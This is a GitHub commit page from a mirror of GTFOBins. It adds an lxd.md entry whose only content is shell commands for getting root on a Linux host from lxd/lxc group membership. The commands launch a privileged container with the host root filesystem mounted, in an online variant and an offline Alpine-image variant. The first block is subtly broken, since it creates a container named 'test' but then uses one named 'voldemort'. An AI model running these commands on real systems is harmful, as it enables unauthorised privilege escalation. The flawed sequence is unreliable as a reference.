1
0
Fork 0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-05-28 01:56:02 +02:00
This commit is contained in:
h00dy 2024-04-24 13:27:17 +08:00 committed by GitHub
commit 7ff2822cf3
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194

27
_gtfobins/lxd.md Normal file
View File

@ -0,0 +1,27 @@
---
functions:
shell:
- description: If you belong to lxd or lxc group, you can become root - Exploiting with internet
code: |
lxc init ubuntu:16.04 test -c security.privileged=true
lxc config device add voldemort whatever disk source=/ path=/mnt/root recursive=true
lxc start voldemort
lxc exec voldemort bash
cd /mnt/root #Here is where the filesystem is mounted
- description: Exploiting without internet
code: |
git clone https://github.com/saghul/lxd-alpine-builder
cd lxd-alpine-builder
sed -i 's,yaml_path="latest-stable/releases/$apk_arch/latest-releases.yaml",yaml_path="v3.8/releases/$apk_arch/latest-releases.yaml",' build-alpine
sudo ./build-alpine -a i686
- description: After building alpine image, transfer the image on the machine, import the image and follow the instructions
code: |
lxc image import ./alpine*.tar.gz --alias myimage
lxd init
lxc init myimage mycontainer -c security.privileged=true
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true
lxc start mycontainer
lxc exec mycontainer /bin/sh
---